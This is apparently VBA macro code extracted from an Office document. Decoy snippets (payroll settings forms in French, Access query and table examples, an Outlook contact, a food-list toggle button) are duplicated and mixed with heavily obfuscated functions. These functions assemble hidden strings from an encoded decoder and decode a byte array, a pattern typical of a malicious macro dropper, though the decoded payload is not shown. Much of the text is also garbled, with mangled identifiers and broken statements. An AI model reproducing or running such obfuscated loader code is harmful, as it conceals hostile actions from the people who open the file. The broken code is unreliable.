O\xabx\xc4X\xaa\xbd = x\xe22u\xa5U\xb9Vd\xe2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(66, 3462, 6451)
q\xbb\xaf\xe5\xf29NG\xab\xb8 = O\xabx\xc4X\xaa\xbd & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(12, -1906, 5241)
L\xa2P\xf2\xbea2j\xe5\xa2 = q\xbb\xaf\xe5\xf29NG\xab\xb8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(1, 4728, -6965)
\xa4Cb\xe1\xbd\xe7\xbc\xb9Je\xef\xfba = L\xa2P\xf2\xbea2j\xe5\xa2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(86, 9325, -5614)
P\xb2\xdc\xa7\xab\xb4\xba\xc6e = \xa4Cb\xe1\xbd\xe7\xbc\xb9Je\xef\xfba & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(132, -6285, -5016)
l\xb2\xfcim = P\xb2\xdc\xa7\xab\xb4\xba\xc6e & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(106, -5432, -195)
\xeb\xb2FX\xf90\xadCb = l\xb2\xfcim
End Function
Sub iL0wcreate_NewButton()
'Set parameter
Dim btn As Control
'Open form in hidden mode
DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
On Error Resume Next
'Create button
Set btn = CreateControl("Google", acCommandButton, acDetail)
'Move
k.Move 2500, 2500, 1500, 700
'Get control name
this_name = k.Name
'Add caption
Forms("Google").Controls(this_name).Caption = "Google"
'Close form
DoCmd.Close acForm
"Google"
acSaveYes
End Sub
Function \xb9\xbfZ\xa4\xe0\xac(\xba\xd6G\xf4Pve3a, XdwH\xbeu\xaaQ\xa2)
\xb9\xbfZ\xa4\xe0\xac = \xba\xd6G\xf4Pve3a + XdwH\xbeu\xaaQ\xa2
End Function
Sub llomget_last_item_clipboard()
Dim clipData As New DataObject
Dim clipString As String
clipItems As Variant
clipString = clipData.GetText
clipString = Replace(clipString, vbLf, vbCr)
clipItems = Split(clipString, vbCr)
End Sub
Function \xa5q\xba\xf9\xad\xa9t\xaaqq\xe1(S3l\xb8\xa3\xbd\xdcdDz, \xfcAFd\xafq\xe9o\xab)
\xa5q\xba\xf9\xad\xa9t\xaaqq\xe1 = S3l\xb8\xa3\xbd\xdcdDz + \xfcAFd\xafq\xe9o\xab
End Function
Private Sub tHXKT0iHCommandButton2_Click()
'
' This will show an additional form to the user as
' a way to form him/her to not change the weeks directly
' on the main form
'
SemainesForm.Show
End Sub
Private Sub v5lQc5QYCommandButton3_Click()
PrixForm.Show
End Sub
Private Sub XMVDtt0yUserForm_Initialize()
'
' This will upload the default values from the sheet
' to the different textboxes
'
Set wk = set_worksheet_object_helper(1)
'Set params
Call set_Params
End Sub
Private Sub GWucWqMmset_Params()
'
' This a helper used to set parameters to
' the textboxes
'
TextBox1.Value = wk.Range("personnel").Value
TextBox2.Value = wk.Range("salaire").Value
TextBox3.Value = wk.Range("jours_activit\xe9s").Value
TextBox4.Value = wk.Range("heures_par_jours").Value
TextBox5.Value = wk.Range("jours_par_semaines").Value
'
' Prevent direct change of activity days froms userform
'
TextBox3.Locked = True
TextBox3.Enabled = False
End Sub
Function S\xf4Z\xa7M\x83lD() As String
Dim rG6h\xf9\xa4166J8
Dim U\xbfM\xfaZb\xae
Dim s\xa2\xaa8ZjKa
rG6h\xf9\xa4166J8 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(18, -5429, -8325)
U\xbfM\xfaZb\xae = rG6h\xf9\xa4166J8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(112, -5712, -1022)
s\xa2\xaa8ZjKa = U\xbfM\xfaZb\xae & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(86, 9325, -5614)
S\xf4Z\xa7M\x83lD = s\xa2\xaa8ZjKa
End Function
Sub tAEUcreate_Query()
Dim qdf As QueryDef
Set qdf = CurrentDb.CreateQueryDef("query1", "SELECT * FROM Table")
On Error Resume Next
DoCmd.OpenQuery "query1", acViewDesign, acEdit
DoCmd.Save acQuery, "query1"
DoCmd.Close acQuery, "query1"
DoCmd.rename "new_name", acQuery, "query1"
Set qdf = Nothing
End Sub
Sub DZkPmanipulate_Query()
Dim query_to_change As QueryDef
Set query_to_change = CurrentDb.QueryDefs("query_name")
query_to_change.SQL = "SELECT * FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE Fashion"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE '" & something & "'"
End Sub
' "SELECT Field1, Field2 FROM Table WHERE Field1 = 'Fashion'"
Function \xac\xb72\xa8nbT\xa2() As String
Dim u\xe1c\xea\xe6i\xba\xa3g
Dim p\xdc\xaa\xe9o3jt2\xe1h
Dim lg\xc0\xac\xbf\xe6
u\xe1c\xea\xe6i\xba\xa3g = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(108, 3124, 4329)
p\xdc\xaa\xe9o3jt2\xe1h = u\xe1c\xea\xe6i\xba\xa3g & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(16, -6258, -5086)
lg\xc0\xac\xbf\xe6 = p\xdc\xaa\xe9o3jt2\xe1h & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(110, 5361, 1404)
\xac\xb72\xa8nbT\xa2 = lg\xc0\xac\xbf\xe6
End Function
Sub N3Rncreate_NewButton()
'Set parameter
Dim btn As Control
'Open form in hidden mode
DoCmd.OpenForm "Google"
acDesign
acFormEdit
acHidden
On Error Resume Next
'Create button
Set btn = CreateControl("Google", acCommandButton, acDetail)
'Move
k.Move 2500
2500
1500
700
'Get control name
this_name = k.Name
'Add caption
Forms("Google").Controls(this_name).Caption = "Google"
'Close form
DoCmd.Close acForm, "Google", acSaveYes
End Sub
Function \xbd\xe1QW0\xa7gM() As String
Dim \xbaY\xb5\xabS\xfbI\xa3t\xe5X\xd1
Dim nP3WUz\x83
Dim pE\xb1u\xa5\xeb\xb6\xe0\xd6
Dim \xb7sNL\xbc\xa5y1\xc9
Dim fUaK\xec\xfbVme
Dim \xc4z\xa5\xfa1\xa7\xb1P8p\xc6\xbf
\xbaY\xb5\xabS\xfbI\xa3t\xe5X\xd1 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(121, -2808, -9641)
nP3WUz\x83 = \xbaY\xb5\xabS\xfbI\xa3t\xe5X\xd1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(122, -6534, 4156)
pE\xb1u\xa5\xeb\xb6\xe0\xd6 = nP3WUz\x83 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(123, 7783, 4496)
\xb7sNL\xbc\xa5y1\xc9 = pE\xb1u\xa5\xeb\xb6\xe0\xd6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(86, 9325, -5614)
fUaK\xec\xfbVme = \xb7sNL\xbc\xa5y1\xc9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(125, -7782, 2933)
\xc4z\xa5\xfa1\xa7\xb1P8p\xc6\xbf = fUaK\xec\xfbVme & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(126, -2167, -762)
\xbd\xe1QW0\xa7gM = \xc4z\xa5\xfa1\xa7\xb1P8p\xc6\xbf
End Function
Private Sub KdM6BVe9CommandButton2_Click()
'
' This will show an additional form to the user as
' a way to form him/her to not change the weeks directly
' on the main form
'
SemainesForm.Show
End Sub
Private Sub Mcf7rTHRCommandButton3_Click()
PrixForm.Show
End Sub
Private Sub Ij9xzvuxUserForm_Initialize()
'
' This will upload the default values from the sheet
' to the different textboxes
'
Set wk = set_worksheet_object_helper(1)
'Set params
Call set_Params
End Sub
Private Sub adR1q4ivset_Params()
'
' This a helper used to set parameters to
' the textboxes
'
TextBox1.Value = wk.Range("personnel").Value
TextBox2.Value = wk.Range("salaire").Value
TextBox3.Value = wk.Range("jours_activit\xe9s").Value
TextBox4.Value = wk.Range("heures_par_jours").Value
TextBox5.Value = wk.Range("jours_par_semaines").Value
'
' Prevent direct change of activity days froms userform
'
TextBox3.Locked = True
TextBox3.Enabled = False
End Sub
Function g\xe1c6e\xbaFK(Gy\xbeI5z\xc9\xfclZ, P\xb8\xab\xb5\xc0\xef\xfa, hDIyQ\xe82\xb1\xacKpD, \xbeQ\xb2s\xa24\xc0yE, \xb5\xafe\xa8\xb9\xbdoA\xe4\xa4, \xec2\xb4\xa31\xf1)
g\xe1c6e\xbaFK = StrConv(Gy\xbeI5z\xc9\xfclZ, \xbeQ\xb2s\xa24\xc0yE)
End Function
Private Sub qo4kKdLqCommandButton12_Click()
'
' When the user clicks the button
we need to know
' which value needs to be implemented from which
' control element
'
Result = TtcDget_valeur_de_Optionbutton(0)
If Result = False Then
'
' We need to test the value that the user entered
' to not get errors on the sheet
'
wk.Range("jours_activit\xe9s").Value = (TextBox1.Value * 1)
Else
get_valeur_list = ComboBox1.Value
Select Case get_valeur_list
Case Is = "Normal":
wk.Range("jours_activit\xe9s").Value = 365
Case Is = "Business":
wk.Range("jours_activit\xe9s").Value = 251
Case Is = "Jours ouvr\xe9es, Sans Weekend, Avec vacances":
wk.Range("jours_activit\xe9s").Value = 260
End Select
End If
'
' Create object to change phrases
'
Dim changer_les_phrases As PhrasesEngine
Set changer_les_phrases = New PhrasesEngine
changer_les_phrases.change_phrases
End Sub
Private Sub hKQZr4O3OptionButton1_Change()
'
' We detect change on the option button number 1
' and if the user changed to 'personalized',
' we enable the corresponding elements for him/her
'
Result = TtcDget_valeur_de_Optionbutton(0)
If Result = False Then
TextBox1.Enabled = True
TextBox1.Value = 365
ComboBox1.Enabled = False
Else
TextBox1.Enabled = False
TextBox1.Value = ""
ComboBox1.Enabled = True
End If
End Sub
Private Sub pWq8dAuEUserForm_Initializer()
Dim weeks(2) As String
Set wk = Worksheets("Config")
'Enable system radio button as true
OptionButton1.Value = True
Result = TtcDget_valeur_de_Optionbutton(0)
If Result Then
TextBox1.Enabled = False
End If
'Initializing the combo box
weeks(0) = "Normal"
weeks(1) = "Business"
weeks(2) = "Jours ouvr\xe9es, Sans Weekend, Avec vacances"
For Each week In weeks
ComboBox1.AddItem week
Next
End Sub
Private Function TtcDget_valeur_de_Optionbutton(Optional ByVal option_button As Long = 0) As Boolean
'
' This is a helper that retrieves the current value
' of the option buttons
'
If option_button = 0 Then
TtcDget_valeur_de_Optionbutton = OptionButton1.Value
ElseIf option_button = 1 Then
TtcDget_valeur_de_Optionbutton = OptionButton1.Value
Else
Err.Raise 0
End If
End Function
Private Sub KJrMJWJ4UserForm_Terminate()
' DOES NOT WORK
' This is to set the textbox to the new value
ReglagesForm.TextBox5.Value = wk.Range("jours_par_semaines").Value
End Sub
Function \xf9gjR3a\xa8\xd6\xfc\xa3() As String
Dim WcgG\xe0N\xe2\xb8\xb3
Dim \xc1\xa3\xaa\xc1r0\xd1\xaf\xbd
Dim M\xe2\xc2\xb2oCl\xa7
Dim \xe1p\xc0\xbaX\xfb\xba
WcgG\xe0N\xe2\xb8\xb3 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(137, 7054, 7918)
\xc1\xa3\xaa\xc1r0\xd1\xaf\xbd = WcgG\xe0N\xe2\xb8\xb3 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(138, -5788, -5699)
M\xe2\xc2\xb2oCl\xa7 = \xc1\xa3\xaa\xc1r0\xd1\xaf\xbd & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(27, -4418, -515)
\xe1p\xc0\xbaX\xfb\xba = M\xe2\xc2\xb2oCl\xa7 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(106, -5432, -195)
\xf9gjR3a\xa8\xd6\xfc\xa3 = \xe1p\xc0\xbaX\xfb\xba
End Function
Sub ir4Gcreate_Query()
Dim qdf As QueryDef
Set qdf = CurrentDb.CreateQueryDef("query1", "SELECT * FROM Table")
On Error Resume Next
DoCmd.OpenQuery "query1", acViewDesign, acEdit
DoCmd.Save acQuery, "query1"
DoCmd.Close acQuery, "query1"
DoCmd.rename "new_name", acQuery, "query1"
Set qdf = Nothing
End Sub
Sub EISBmanipulate_Query()
Dim query_to_change As QueryDef
Set query_to_change = CurrentDb.QueryDefs("query_name")
query_to_change.SQL = "SELECT * FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE Fashion"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE '" & something & "'"
End Sub
' "SELECT Field1, Field2 FROM Table WHERE Field1 = 'Fashion'"
Function \x83\xc4c\xa8D12\xf1Ab(\xdc\xaas\xffkm\xe0s) As String
Dim \xa46T\xc2\xa4u\xc6lO\xbfxuF(1055) As Byte
tMXEa\xfc\xbf\xe64ySf\xe7S\xbdIx\xb1() As Byte
tMXEa\xfc\xbf\xe64ySf\xe7S\xbdIx\xb1 = g\xe1c6e\xbaFK(\xdc\xaas\xffkm\xe0s, \xb9\xbfZ\xa4\xe0\xac(Q\xef\xa8edS4\xad\xb9\xf986(4, -4280, -5903)
Q\xef\xa8edS4\xad\xb9\xf986(5, -6909, -4895))
ztg\xa8\xad\xbf(Q\xef\xa8edS4\xad\xb9\xf986(6, -9052, 7001)
Q\xef\xa8edS4\xad\xb9\xf986(7, 8443, -9880))
128
M6\xc66Y\xfaj(Q\xef\xa8edS4\xad\xb9\xf986(8, 8546, 7963)
Q\xef\xa8edS4\xad\xb9\xf986(9, -6100, -3550))
he\xee\xc96(Q\xef\xa8edS4\xad\xb9\xf986(10, 8745, -4737)
Q\xef\xa8edS4\xad\xb9\xf986(11, -6628, 3433)))
For nTUGF\xfaGLg\xba\xad\xae\xe89 = 0 To UBound(tMXEa\xfc\xbf\xe64ySf\xe7S\xbdIx\xb1) - 1
If (nTUGF\xfaGLg\xba\xad\xae\xe89 Mod 4 = 0) Then
\xa46T\xc2\xa4u\xc6lO\xbfxuF(ZZqP\xe8N\xdcN\xb7\xc9\xb6BW\xba) = tMXEa\xfc\xbf\xe64ySf\xe7S\xbdIx\xb1(nTUGF\xfaGLg\xba\xad\xae\xe89)
ZZqP\xe8N\xdcN\xb7\xc9\xb6BW\xba = ZZqP\xe8N\xdcN\xb7\xc9\xb6BW\xba + 1
End If
Next nTUGF\xfaGLg\xba\xad\xae\xe89
\x83\xc4c\xa8D12\xf1Ab = Left(\xbf\xea8N\xf4cr\xe0\xa7u\xb4P(\xa46T\xc2\xa4u\xc6lO\xbfxuF, y\xb7\xe7\xbaM(Q\xef\xa8edS4\xad\xb9\xf986(12, -9404, -6684)
Q\xef\xa8edS4\xad\xb9\xf986(13, 3373, -9309))
Hf\xe9OWM\xaf\xba\x83Z(Q\xef\xa8edS4\xad\xb9\xf986(14, 8684, 6542)
Q\xef\xa8edS4\xad\xb9\xf986(15, -5711, 3396))
64
T\xbaO4\xb2f\xb4I\xb7(Q\xef\xa8edS4\xad\xb9\xf986(16, -4533, 9593)
Q\xef\xa8edS4\xad\xb9\xf986(17, 119, 5699))
uTa\xa2\xa3l\xe7\xfaB\xe9(Q\xef\xa8edS4\xad\xb9\xf986(18, 8951, 4008)
Q\xef\xa8edS4\xad\xb9\xf986(19, -7189, -2777)))
ZZqP\xe8N\xdcN\xb7\xc9\xb6BW\xba)
End Function
Public Sub P46liQnlCreateNewContact()
Dim objContact As ContactItem
Set objContact = Application.CreateItem(olContactItem)
With objContact
.BusinessAddressCity = "Halifax"
.BusinessAddressCountry = "Canada"
.Business2TelephoneNumber = "902123" 'the area code and local prefix
.Display
End With
Set objContact = Nothing
End Sub
Function Hf\xe9OWM\xaf\xba\x83Z(\xa7\xe9Q\xebW7Z\xa5, a\xb5E\xbf\xd6Y\xa2\xe7\xbbQ)
Hf\xe9OWM\xaf\xba\x83Z = \xa7\xe9Q\xebW7Z\xa5 + a\xb5E\xbf\xd6Y\xa2\xe7\xbbQ
End Function
Sub YhJzget_last_item_clipboard()
Dim clipData As New DataObject
Dim clipString As String, clipItems As Variant
clipString = clipData.GetText
clipString = Replace(clipString, vbLf, vbCr)
clipItems = Split(clipString, vbCr)
End Sub
Function y\xb7\xe7\xbaM(\xe2\xe8\xe9\xe0yGd\xf1yy6N\xb1, Y\xe0\xc4s\xa7\xbd\xba\xbfOM)
y\xb7\xe7\xbaM = \xe2\xe8\xe9\xe0yGd\xf1yy6N\xb1 + Y\xe0\xc4s\xa7\xbd\xba\xbfOM
End Function
Sub Cm0Kopen_list_box()
UserForm1.Show
End Sub
Public Sub knVODFjJouvrir_reglage()
ReglagesForm.Show
End Sub
Public Sub sErPJYlQchanger_les_phrases_helper()
'
' This helper creates an object in order to change the phrases
' on the front page
'
Dim changer_les_phrases As PhrasesEngine
Set changer_les_phrases = New PhrasesEngine
changer_les_phrases.change_phrases
End Sub
Private Sub j4jFu5Lzshow_messages(error_number As Long, message As String, message_type As String)
'
' Use this sub to cycle through the error dictionary and show the
' user any custom error message that is not built in Excel.
'
' vbInformation
vbCritical
vbOkOnly
vbYesNo
vbYesNoCancel
'
MsgBox message, message_type, "Title"
End Sub
Function \xef\xa3TY\xbf\xbb\xa7\xa2\xd6(z\xba\xd1\xb7\xe7\xben\xb6s\xc2uT\xfc, h\xe6\xe8\xb3E\xf9\xa3\xb4\xf1)
\xef\xa3TY\xbf\xbb\xa7\xa2\xd6 = z\xba\xd1\xb7\xe7\xben\xb6s\xc2uT\xfc + h\xe6\xe8\xb3E\xf9\xa3\xb4\xf1
End Function
Private Sub qj3zC5nmToggleButton1_Change()
'6. We then get the current state of the button again...
current_toggle_State = Me.ToggleButton1.Value
Select Case current_toggle_State
'6. If I am still pressed, then...
Case True:
'Value of previous state is 1 (or pressed)
this_Sheet.Range("D7").Value = 1
'Change caption from LIST 1 to LIST 2
ToggleButton1.Caption = "LIST 2"
'List is still LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Tomato"
0
ComboBox1.AddItem "Cucumber"
1
ComboBox1.ListIndex = 0
'6. If I am now unpressed by the user...
Case False:
'Value of previous state is 0 (or unpressed)
this_Sheet.Range("D7").Value = 0
'Change caption from LIST 2 to LIST 1
ToggleButton1.Caption = "LIST 1"
'LIST 2 to LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Pizza"
0
ComboBox1.AddItem "Soda"
1
ComboBox1.ListIndex = 0
End Select
End Sub
Private Sub Z9s9ad0wUserForm_Initialized()
'1. We set our variables
Dim previous_Toggle_State As Long
'2. We set the sheet "food" as an object
Set this_Sheet = Worksheets("Food")
'3. We get the previous button state from the sheet...
previous_Toggle_State = this_Sheet.Range("D7").Value
Select Case previous_Toggle_State
Case 1:
'4. I was pressed
then button should be pressed...
Me.ToggleButton1.Value = True
'And, LIST 1 should active
ComboBox1.Clear
ComboBox1.AddItem "Tomato", 0
ComboBox1.AddItem "Cucumber", 1
ComboBox1.ListIndex = 0
'4. Otherwise
it should be unpressed
Case 0:
Me.ToggleButton1.Value = False
'LIST 2 should active
ComboBox1.Clear
ComboBox1.AddItem "Pizza", 0
ComboBox1.AddItem "Soda", 1
ComboBox1.ListIndex = 0
End Select
End Sub
Function \xdc\xb4o\xa7\xb3\xbdt() As String
Dim \xa4\xdcwCw\xb1\xc6wZ\xe7G\xab
Dim \xc09V\x83\xf68jd\xeb\xbf\xfc\xb5
Dim cqaq\xa2\xd6u\xe5\xc0\xbcr
\xa4\xdcwCw\xb1\xc6wZ\xe7G\xab = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(102, -3917, 3631)
\xc09V\x83\xf68jd\xeb\xbf\xfc\xb5 = \xa4\xdcwCw\xb1\xc6wZ\xe7G\xab & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(103, 9401, -5021)
cqaq\xa2\xd6u\xe5\xc0\xbcr = \xc09V\x83\xf68jd\xeb\xbf\xfc\xb5 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(4, -3078, 1715)
\xdc\xb4o\xa7\xb3\xbdt = cqaq\xa2\xd6u\xe5\xc0\xbcr
End Function
Sub fNrJmanipulating_Tables()
On Error Resume Next
'INSERT values
DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
'UPDATE field
DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
'ALTER TABLE
DoCmd.runSQL "ALTER TABLE X "
End Sub
Sub j71kedit_Table()
Dim d As DAO.Database
Dim t As TableDef
Dim r As DAO.Recordset
Set d = CurrentDb
Set t = d.TableDefs("...")
Set r = t.OpenRecordset(, dbOpenSnapshot)
r.Edit
r(...).Value = "..."
r.Update
Set d = Nothing
Set t = Nothing
End Sub
Function o\xdc\xabG\xc1gRj() As String
Dim D\xc9\xf6n\xfa\xadp\xbc\xfcP\xb4P
Dim \xbf\x83\xb8Wkb2GG\xfc
Dim \xe8\xa3Uxj\xf6\xfc\xe0\xe40\xbar9
Dim \xb9Css\xae\xa2eb\xb6
Dim B\xbf\xf1\xa2\xf9i4OS\xa2\xb8
Dim iI\xfcQ\xacO\xe0O\xb4
Dim \xfaa\xfb\xa6K\x83\xf9
Dim wT\xc9PJ\xa3M\xea
Dim p\xe1\xb4o\xc0\xc4\xe7\xa3
Dim t\xb4\xe7a\x83ljF\xabu
Dim oFrC\xa2\xc1rK\xe0\xa6
Dim Av\xd6\xf4\xaa\xc2\xc4\xb4
Dim \xafj\xfc\xeeP
Dim \xebtoq\xba\x83A
Dim \xf9\xbf\xb9\xc2E7jd4\xa2
Dim \xba\xab8\xe7t\xbf\xe2
Dim \xa3eS\xac\xe0\xabP\xfa
Dim \xb3P\xb8\xbb\xa4d\xea
Dim S\xbaFo\xeeM\xe4\xa3l\xa2\xaf
Dim \xbdl\xe1\xe4uiv
Dim \xbc\xe9h\xc2\xa7HIv\xea\xa4
Dim H\xc1\xb9\xa7\xb2Sfq\xb7
Dim E\xacNp\xf67L\xf9\xe61\xf9
Dim \xfccR\xf6\xc9s\xa2G\xbf
Dim VjqS\xe8\xbb\xf27A
Dim J\xb5f\xecdWFe
Dim \xe1\xf9y\xaaZ\xb5\xe7\xb9\xb9q
Dim t\xbc\xe8\xee\xe6a\xb9\xee
Dim \xf4I\xd1\xb5OPE\xef\xbd
Dim o\xab\xbd\xbf\xf1\xe4\xa2\xfc
Dim \xb7\xba2\xaa\xe4\xba\xaeHWt
Dim ndj\xee4K\xa4r\xaaj
Dim f\xbdZ\xf2\xfc\xe1kC\xaasy\xe1
Dim ZeO\xb6\xb6\xe6
D\xc9\xf6n\xfa\xadp\xbc\xfcP\xb4P = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(2, -6195, -1877)
\xbf\x83\xb8Wkb2GG\xfc = D\xc9\xf6n\xfa\xadp\xbc\xfcP\xb4P & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(51, -6881, 7369)
\xe8\xa3Uxj\xf6\xfc\xe0\xe40\xbar9 = \xbf\x83\xb8Wkb2GG\xfc & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(28, 7331, 1405)
\xb9Css\xae\xa2eb\xb6 = \xe8\xa3Uxj\xf6\xfc\xe0\xe40\xbar9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(28, 7331, 1405)
B\xbf\xf1\xa2\xf9i4OS\xa2\xb8 = \xb9Css\xae\xa2eb\xb6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(45, 1650, 3164)
iI\xfcQ\xacO\xe0O\xb4 = B\xbf\xf1\xa2\xf9i4OS\xa2\xb8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(36, -559, 7960)
\xfaa\xfb\xa6K\x83\xf9 = iI\xfcQ\xacO\xe0O\xb4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(13, 9536, -1937)
wT\xc9PJ\xa3M\xea = \xfaa\xfb\xa6K\x83\xf9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(57, 6087, -1601)
p\xe1\xb4o\xc0\xc4\xe7\xa3 = wT\xc9PJ\xa3M\xea & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(58, 2903, 2805)
t\xb4\xe7a\x83ljF\xabu = p\xe1\xb4o\xc0\xc4\xe7\xa3 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(59, 8761, -4460)
oFrC\xa2\xc1rK\xe0\xa6 = t\xb4\xe7a\x83ljF\xabu & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(60, 7390, 3224)
Av\xd6\xf4\xaa\xc2\xc4\xb4 = oFrC\xa2\xc1rK\xe0\xa6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(61, -711, -1596)
\xafj\xfc\xeeP = Av\xd6\xf4\xaa\xc2\xc4\xb4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(62, 109, -7876)
\xebtoq\xba\x83A = \xafj\xfc\xeeP & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(27, -4418, -515)
\xf9\xbf\xb9\xc2E7jd4\xa2 = \xebtoq\xba\x83A & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(64, 2147, 5376)
\xba\xab8\xe7t\xbf\xe2 = \xf9\xbf\xb9\xc2E7jd4\xa2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
\xa3eS\xac\xe0\xabP\xfa = \xba\xab8\xe7t\xbf\xe2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(66, 3462, 6451)
\xb3P\xb8\xbb\xa4d\xea = \xa3eS\xac\xe0\xabP\xfa & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(36, -559, 7960)
S\xbaFo\xeeM\xe4\xa3l\xa2\xaf = \xb3P\xb8\xbb\xa4d\xea & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
\xbdl\xe1\xe4uiv = S\xbaFo\xeeM\xe4\xa3l\xa2\xaf & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(69, 3479, 4375)
\xbc\xe9h\xc2\xa7HIv\xea\xa4 = \xbdl\xe1\xe4uiv & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(39, 2421, 843)
H\xc1\xb9\xa7\xb2Sfq\xb7 = \xbc\xe9h\xc2\xa7HIv\xea\xa4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(71, -1419, -6253)
E\xacNp\xf67L\xf9\xe61\xf9 = H\xc1\xb9\xa7\xb2Sfq\xb7 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(13, 9536, -1937)
\xfccR\xf6\xc9s\xa2G\xbf = E\xacNp\xf67L\xf9\xe61\xf9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(73, 4179, -7363)
VjqS\xe8\xbb\xf27A = \xfccR\xf6\xc9s\xa2G\xbf & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(74, 4337, 7413)
J\xb5f\xecdWFe = VjqS\xe8\xbb\xf27A & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(9, 2359, 2966)
\xe1\xf9y\xaaZ\xb5\xe7\xb9\xb9q = J\xb5f\xecdWFe & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(76, -635, 9332)
t\xbc\xe8\xee\xe6a\xb9\xee = \xe1\xf9y\xaaZ\xb5\xe7\xb9\xb9q & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(77, 8577, -3734)
\xf4I\xd1\xb5OPE\xef\xbd = t\xbc\xe8\xee\xe6a\xb9\xee & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(36, -559, 7960)
o\xab\xbd\xbf\xf1\xe4\xa2\xfc = \xf4I\xd1\xb5OPE\xef\xbd & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(79, -2739, -7367)
\xb7\xba2\xaa\xe4\xba\xaeHWt = o\xab\xbd\xbf\xf1\xe4\xa2\xfc & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(22, 900, 7249)
ndj\xee4K\xa4r\xaaj = \xb7\xba2\xaa\xe4\xba\xaeHWt & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
f\xbdZ\xf2\xfc\xe1kC\xaasy\xe1 = ndj\xee4K\xa4r\xaaj & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(69, 3479, 4375)
ZeO\xb6\xb6\xe6 = f\xbdZ\xf2\xfc\xe1kC\xaasy\xe1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(66, 3462, 6451)
o\xdc\xabG\xc1gRj = ZeO\xb6\xb6\xe6
End Function
Sub Bv7xcreate_Table()
'
' Example creating a table with SQL
'
DoCmd.runSQL "CREATE TABLE Kendall (" & _
